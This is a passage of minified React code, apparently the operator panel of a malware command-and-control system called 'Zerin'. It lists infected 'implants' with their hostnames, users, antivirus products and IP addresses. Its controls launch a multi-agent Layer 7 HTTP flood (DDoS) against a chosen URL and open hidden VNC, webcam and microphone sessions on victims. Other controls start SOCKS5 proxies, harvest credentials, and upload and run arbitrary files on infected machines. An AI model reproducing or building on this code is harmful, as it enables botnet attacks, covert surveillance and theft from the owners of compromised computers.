12"})})})]},f)),!n&&a.jsx(a.Fragment,{children:s?a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-all`}):a.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r + text-zerin-text-muted hover:text-zerin-accent\r + border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r + transition-colors`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const RU=["GET","POST","HEAD"],$U=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function aS({agentIds:e,agentStatus:t}){const[n,r]=m.useState(""),[i,s]=m.useState(60),[o,l]=m.useState(10),[c,u]=m.useState("GET"),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(!1),[y,v]=m.useState([]),b=t==="dead",w=e.length,j=(k,S)=>{h({text:k,type:S}),setTimeout(()=>h(null),5e3)},N=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const S=(await Promise.allSettled(e.map(_=>Me(_,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((_,O)=>({agentId:e[O],ok:_.status==="fulfilled",error:_.status==="rejected"?_.reason instanceof Error?_.reason.message:"Failed":void 0}));v(S);const A=S.filter(_=>_.ok).length;g(A>0),A===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${A}/${w} agents (${w-A} failed)`,A>0?"ok":"err")}catch(k){j(k instanceof Error?k.message:"Failed to start","err")}finally{f(!1)}},z=async()=>{f(!0),v([]);try{const S=(await Promise.allSettled(e.map(_=>Me(_,{command:"ddos_stop"})))).map((_,O)=>({agentId:e[O],ok:_.status==="fulfilled",error:_.status==="rejected"?_.reason instanceof Error?_.reason.message:"Failed":void 0}));v(S),g(!1);const A=S.filter(_=>_.ok).length;j(`Stop sent to ${A}/${w} agent${w!==1?"s":""}`,"ok")}catch(k){j(k instanceof Error?k.message:"Failed to stop","err")}finally{f(!1)}};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&a.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:p.text}),y.length>1&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(k=>a.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${k.ok?"bg-emerald-400":"bg-red-400"}`}),a.jsx("span",{className:"text-zerin-text-dim",children:k.agentId.slice(0,8)}),a.jsx("span",{className:k.ok?"text-emerald-400":"text-red-400",children:k.ok?"OK":k.error})]},k.agentId))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),a.jsxs("div",{className:"p-4 space-y-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),a.jsx("input",{type:"text",value:n,onChange:k=>r(k.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),a.jsx("div",{className:"flex gap-2",children:RU.map(k=>a.jsx("button",{onClick:()=>u(k),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${c===k?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:k},k))})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:k=>s(Number(k.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),a.jsx("div",{className:"flex gap-1.5",children:$U.map(k=>a.jsx("button",{onClick:()=>s(k.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors + disabled:opacity-40 disabled:cursor-not-allowed ${i===k.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:k.label},k.value))})]})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",a.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),a.jsx("input",{type:"range",min:1,max:64,value:o,onChange:k=>l(Number(k.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"1"}),a.jsx("span",{children:"16"}),a.jsx("span",{children:"32"}),a.jsx("span",{children:"48"}),a.jsx("span",{children:"64"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:x?a.jsxs("button",{onClick:z,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):a.jsxs("button",{onClick:N,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-red-500 hover:bg-red-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const I2={alive:0,stale:1,dead:2};function BU(e,t,n){let r=0;switch(n.column){case"status":r=(I2[e.status]??3)-(I2[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=Lo(e.os).localeCompare(Lo(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const FU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function WU(){const e=xr(),[t,n]=m.useState([]),[r,i]=m.useState(!0),[s,o]=m.useState(""),[l,c]=m.useState("all"),[u,d]=m.useState({column:"last_seen",direction:"desc"}),[f,p]=m.useState("online"),[h,x]=m.useState({x:0,y:0,visible:!1}),[g,y]=m.useState(null),[v,b]=m.useState(null),[w,j]=m.useState(null),[N,z]=m.useState(null),[k,S]=m.useState(null),[A,_]=m.useState("Zerin"),[O,P]=m.useState(""),[I,Y]=m.useState(new Set),[D,M]=m.useState(!1),[W,$]=m.useState(!1),[H,F]=m.useState(""),[K,Z]=m.useState(""),[oe,de]=m.useState(!1),[be,ye]=m.useState(null),G=m.useRef(null),te=m.useRef(null),C=m.useRef(null),q=m.useCallback(async()=>{try{const E=await N5();n(E),o("")}catch{o("Failed to fetch agents")}finally{i(!1)}},[]);m.useEffect(()=>{q()},[q]);const{lastMessage:ne}=m.useContext(vd);m.useEffect(()=>{if(ne&&ne.type==="agent_update"){const E=ne.payload;n(ce=>{const J=ce.findIndex(xe=>xe.id===E.id);if(J>=0){const xe=[...ce];return xe[J]=E,xe}return[E,...ce]}),b(ce=>ce&&ce.id===E.id?E:ce)}},[ne]),m.useEffect(()=>{const E=setInterval(q,15e3);return()=>clearInterval(E)},[q]),m.useEffect(()=>()=>{G.current&&clearTimeout(G.current)},[]);const B={total:t.length,alive:t.filter(E=>E.status==="alive").length,stale:t.filter(E=>E.status==="stale").length,dead:t.filter(E=>E.status==="dead").length},le=f==="online"?t.filter(E=>E.status==="alive"||E.status==="stale"):t.filter(E=>E.status==="dead"),Ne=[...l==="all"?le:le.filter(E=>E.status===l)].sort((E,ce)=>BU(E,ce,u)),Ae=t.filter(E=>E.status==="alive"||E.status==="stale").length,R=t.filter(E=>E.status==="dead").length;function fe(E){d(ce=>({column:E,direction:ce.column===E&&ce.direction==="asc"?"desc":"asc"}))}function ve(E){c(ce=>ce===E&&E!=="all"?"all":E)}function V(E){if(G.current){clearTimeout(G.current),G.current=null,e(`/agents/${E.id}`);return}G.current=setTimeout(()=>{G.current=null,b(E)},250)}function ae(E,ce){E.preventDefault(),y(ce),x({x:E.clientX,y:E.clientY,visible:!0})}function U(E,ce){var X;if(!g)return;const J=g.id,xe=g.hostname,ke=ce==null?void 0:ce.action,ze=ce==null?void 0:ce.tab;if(x(re=>({...re,visible:!1})),y(null),ke==="chat"){j(g);return}if(ke==="confirm"){z({command:E,agentId:J,hostname:xe});return}if(ke==="msgbox"){S({agentId:J,hostname:xe}),_("Zerin"),P("");return}if(ke==="vnc"){Px(J).then(()=>{const re=st(),se=window.open(`/vnc/${J}`,`vnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(se&&re){const Oe=et=>{var T;((T=et.data)==null?void 0:T.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(se.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start VNC"));return}if(ke==="hvnc"){z5(J).then(()=>{const re=st(),se=window.open(`/vnc/${J}?mode=hvnc`,`hvnc-${J}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(se&&re){const Oe=et=>{var T;((T=et.data)==null?void 0:T.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(se.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start hVNC"));return}if(ke==="webcam"){S5(J).then(()=>{const re=st(),se=window.open(`/webcam/${J}`,`webcam-${J}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(se&&re){const Oe=et=>{var T;((T=et.data)==null?void 0:T.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(se.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start webcam"));return}if(ke==="mic"){C5(J).then(()=>{const re=st(),se=window.open(`/mic/${J}`,`mic-${J}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(se&&re){const Oe=et=>{var T;((T=et.data)==null?void 0:T.type)==="zerin_auth_request"&&et.origin===window.location.origin&&(se.postMessage({type:"zerin_auth",token:re},window.location.origin),window.removeEventListener("message",Oe))};window.addEventListener("message",Oe)}}).catch(()=>o("Failed to start microphone"));return}if(ke==="socks5"){P5(J).then(re=>{alert(`SOCKS5 proxy started on ${re.bind}:${re.port} + +Use: ssh -L ${re.port}:127.0.0.1:${re.port} root@`)}).catch(()=>alert("Failed to start SOCKS5 proxy"));return}if(ke==="execute_upload"){C.current=J,(X=te.current)==null||X.click();return}if(ke==="ban"){const re=t.find(T=>T.id===J),se=re==null?void 0:re.banned,Oe=se?`Unban agent ${xe} (${J.slice(0,8)})? It will be allowed to check in again.`:`Ban agent ${xe} (${J.slice(0,8)})? It will be rejected on future check-ins.`;if(!confirm(Oe))return;(se?ZE:XE)(J).then(()=>{n(T=>T.map(ie=>ie.id===J?{...ie,banned:!se}:ie))}).catch(()=>o(`Failed to ${se?"unban":"ban"} agent`));return}if(ke==="remove"){if(!confirm(`Remove agent ${xe} (${J.slice(0,8)})? This cannot be undone.`))return;k5(J).then(()=>{n(re=>re.filter(se=>se.id!==J))}).catch(()=>o("Failed to remove agent"));return}(ke==="submit"||ke==="screenshot")&&E!=="creds"&&Me(J,{command:E}).catch(re=>{o(`Failed to submit task: ${re instanceof Error?re.message:"unknown error"}`)}),ze&&e(`/agents/${J}?tab=${ze}${E==="creds"?"&auto=1":""}`)}function Q(){x(E=>({...E,visible:!1})),y(null)}async function he(E){var ze,X,re;const ce=(ze=E.target.files)==null?void 0:ze[0];if(E.target.value="",!ce||!C.current)return;const J=C.current;C.current=null;const xe=ce.name,ke=`C:\\Windows\\Temp\\${xe}`;try{const se=await ce.arrayBuffer(),Oe=Array.from(new Uint8Array(se)),{task_id:et}=await Me(J,{command:"upload",args:[ke],data:Oe});let T=!1;for(let ue=0;ue<30;ue++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(X=(await Xn(J)).results)==null?void 0:X.find(Lt=>Lt.task_id===et);if(Ct){if(Ct.error)throw new Error(Ct.error);T=!0;break}}if(!T)throw new Error("Upload timed out");const{task_id:ie}=await Me(J,{command:"execute",args:[ke]});for(let ue=0;ue<30;ue++){await new Promise(Lt=>setTimeout(Lt,2e3));const Ct=(re=(await Xn(J)).results)==null?void 0:re.find(Lt=>Lt.task_id===ie);if(Ct){if(Ct.error)throw new Error(Ct.error);alert(`Executed ${xe} on agent`);return}}alert(`File uploaded & execute command sent (${xe})`)}catch(se){o(`Execute file failed: ${se instanceof Error?se.message:"unknown error"}`)}}return a.jsxs("div",{className:"p-6 min-h-[calc(100vh+100px)]",children:[a.jsx("input",{ref:te,type:"file",className:"hidden",onChange:he}),a.jsxs("div",{className:"mb-6",children:[a.jsx("h1",{className:"font-display text-2xl font-bold text-zerin-text tracking-wide",children:"Dashboard"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1",children:"Active implant overview"})]}),a.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3 mb-4",children:[a.jsx(rc,{label:"Total",value:B.total,active:l==="all",onClick:()=>ve("all")}),a.jsx(rc,{label:"Alive",value:B.alive,active:l==="alive",onClick:()=>ve("alive")}),a.jsx(rc,{label:"Stale",value:B.stale,active:l==="stale",onClick:()=>ve("stale")}),a.jsx(rc,{label:"Dead",value:B.dead,active:l==="dead",onClick:()=>ve("dead")})]}),a.jsx(IU,{agents:t}),a.jsxs("div",{className:"flex items-center justify-between mb-4",children:[a.jsxs("div",{className:"flex items-center border-b border-zerin-panel-border",children:[a.jsxs("button",{onClick:()=>{p("online"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="online"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="online"?"bg-zerin-accent animate-pulse-dot":"bg-zerin-text-muted/40"}`}),"Online",a.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="online"?"bg-zerin-accent/15 text-zerin-accent":"bg-zinc-800 text-zerin-text-muted"}`,children:Ae})]}),f==="online"&&a.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zerin-accent"})]}),a.jsxs("button",{onClick:()=>{p("offline"),c("all")},className:`relative px-4 py-2.5 text-sm font-medium tracking-wide transition-colors ${f==="offline"?"text-zerin-text":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:[a.jsxs("span",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${f==="offline"?"bg-zinc-500":"bg-zerin-text-muted/40"}`}),"Offline",a.jsx("span",{className:`text-xs tabular-nums px-1.5 py-0.5 rounded ${f==="offline"?"bg-zinc-500/15 text-zinc-400":"bg-zinc-800 text-zerin-text-muted"}`,children:R})]}),f==="offline"&&a.jsx("span",{className:"absolute bottom-0 left-0 right-0 h-[2px] bg-zinc-500"})]})]}),f==="offline"&&R>0&&a.jsx("button",{onClick:async()=>{if(!confirm(`Remove all ${R} dead agent(s)? This cannot be undone.`))return;const E=t.filter(ce=>ce.status==="dead").map(ce=>ce.id);try{await GE(E),n(ce=>ce.filter(J=>J.status!=="dead"))}catch{o("Failed to clear dead agents")}},className:"px-3 py-1.5 text-xs font-medium rounded bg-red-500/10 text-red-400/80 hover:bg-red-500/20 hover:text-red-400 border border-red-500/20 transition-colors",children:"Clear All"})]}),r?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsxs("svg",{className:"animate-spin h-8 w-8 text-zerin-accent mx-auto mb-3",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),a.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agents..."})]})}):s?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-8 text-center max-w-sm",children:[a.jsx("div",{className:"inline-flex items-center justify-center h-10 w-10 bg-zerin-danger-dim mb-4",children:a.jsx("svg",{className:"h-5 w-5 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("p",{className:"text-zerin-text font-display font-semibold mb-1",children:"Connection Error"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-4",children:s}),a.jsxs("button",{onClick:q,className:"inline-flex items-center gap-2 bg-zerin-accent px-4 py-2 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:[a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Retry"]})]})}):Ne.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"inline-flex items-center justify-center h-12 w-12 bg-zerin-panel-hover mb-4",children:a.jsx("svg",{className:"h-6 w-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9.75 17L9 20l-1 1h8l-1-1-.75-3M3 13h18M5 17h14a2 2 0 002-2V5a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),t.length===0?a.jsxs(a.Fragment,{children:[a.jsx("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"No agents connected"}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Waiting for the first agent check-in."})]}):a.jsxs(a.Fragment,{children:[a.jsxs("p",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:["No ",f," agents"]}),a.jsxs("p",{className:"text-zerin-text-muted text-sm",children:[f==="online"?"No alive or stale agents.":"No dead agents — all agents are online.",l!=="all"&&a.jsx("button",{onClick:()=>c("all"),className:"ml-1 text-zerin-accent hover:text-zerin-accent-hover transition-colors underline underline-offset-2",children:"Clear filter"})]})]})]})}):a.jsxs(a.Fragment,{children:[a.jsxs("div",{className:"text-zerin-text-muted text-xs mb-3",children:[a.jsx("span",{className:"text-zerin-text font-medium",children:Ne.length})," ",f," agent",Ne.length!==1?"s":"",l!=="all"&&a.jsxs("span",{className:"ml-1",children:["· filtered by ",a.jsx("span",{className:"text-zerin-text-dim font-medium",children:l})]})]}),a.jsx("div",{className:"border border-zerin-panel-border overflow-hidden",children:a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm text-left",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"bg-zerin-bg-alt",children:[a.jsx("th",{className:"px-3 py-3 w-[40px]",children:a.jsx("input",{type:"checkbox",checked:Ne.length>0&&Ne.filter(E=>E.status!=="dead").every(E=>I.has(E.id)),onChange:E=>{E.target.checked?Y(new Set(Ne.filter(ce=>ce.status!=="dead").map(ce=>ce.id))):Y(new Set)},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),FU.map(E=>a.jsx("th",{onClick:()=>fe(E.key),className:`px-4 py-3 text-xs font-medium uppercase tracking-wider text-zerin-text-muted cursor-pointer select-none transition-colors hover:text-zerin-text ${E.className??""}`,children:a.jsxs("span",{className:"inline-flex items-center gap-1.5",children:[E.label,a.jsx(UU,{column:E.key,sort:u})]})},E.key))]})}),a.jsx("tbody",{className:"bg-zerin-panel",children:Ne.map(E=>a.jsxs("tr",{onClick:()=>V(E),onContextMenu:ce=>ae(ce,E),className:`border-b border-zerin-panel-border cursor-pointer transition-colors hover:bg-zerin-panel-hover ${E.status==="dead"?"opacity-50":""} ${E.banned?"opacity-60":""}`,children:[a.jsx("td",{className:"px-3 py-3",onClick:ce=>ce.stopPropagation(),children:E.status!=="dead"&&a.jsx("input",{type:"checkbox",checked:I.has(E.id),onChange:ce=>{Y(J=>{const xe=new Set(J);return ce.target.checked?xe.add(E.id):xe.delete(E.id),xe})},className:"accent-zerin-accent w-3.5 h-3.5 cursor-pointer"})}),a.jsx("td",{className:"px-4 py-3",children:a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx(hd,{status:E.status,size:"sm",showLabel:!0}),E.banned&&a.jsx("span",{className:"inline-flex items-center bg-orange-500/15 px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-orange-400",children:"Banned"})]})}),a.jsx("td",{className:`px-4 py-3 font-medium text-zerin-text ${E.banned?"line-through":""}`,children:E.hostname}),a.jsxs("td",{className:"px-4 py-3 text-zerin-text-dim",children:[E.username,E.elevated&&a.jsx("span",{className:"ml-2 inline-flex items-center bg-zerin-panel-hover px-1.5 py-0.5 text-[10px] font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Admin"})]}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:Lo(E.os)}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:E.arch}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-dim max-w-[160px] truncate",title:E.av_product||"Unknown",children:E.av_product||"Unknown"}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.internal_ip}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.external_ip}),a.jsx("td",{className:"px-4 py-3 font-mono text-zerin-text-dim",children:E.pid}),a.jsx("td",{className:"px-4 py-3 text-zerin-text-muted",title:Mo(E.last_seen),children:Jc(E.last_seen)})]},E.id))})]})})})]}),I.size>0&&a.jsxs("div",{className:`fixed bottom-6 left-1/2 -translate-x-1/2 z-40 flex items-center gap-3\r + bg-zerin-panel border border-zerin-panel-border px-5 py-3 shadow-xl`,children:[a.jsxs("span",{className:"text-sm text-zerin-text font-medium",children:[I.size," agent",I.size!==1?"s":""," selected"]}),a.jsx("div",{className:"w-px h-5 bg-zerin-panel-border"}),a.jsxs("button",{onClick:()=>M(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-red-400 bg-red-500/10 border border-red-500/20\r + hover:bg-red-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"DDoS"]}),a.jsxs("button",{onClick:()=>$(!0),className:`flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + text-orange-400 bg-orange-500/10 border border-orange-500/20\r + hover:bg-orange-500/20 transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute File"]}),a.jsx("button",{onClick:()=>Y(new Set),className:`px-3 py-1.5 text-xs font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg transition-colors`,children:"Clear"})]}),D&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>M(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-2xl max-h-[80vh] overflow-y-auto",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Multi-Agent DDoS"}),a.jsx("button",{onClick:()=>M(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx(aS,{agentIds:[...I]})]})}),W&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>$(!1),children:a.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border w-full max-w-lg",onClick:E=>E.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center justify-between px-6 py-4 border-b border-zerin-panel-border",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:"Execute File"}),a.jsx("button",{onClick:()=>$(!1),className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:a.jsx("svg",{className:"w-5 h-5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsxs("div",{className:"p-6 space-y-4",children:[a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Run a file on ",I.size," agent",I.size!==1?"s":""]}),be&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${be.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:be.text}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"File Path"}),a.jsx("input",{type:"text",value:H,onChange:E=>F(E.target.value),placeholder:"C:\\path\\to\\file.exe",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r + text-sm 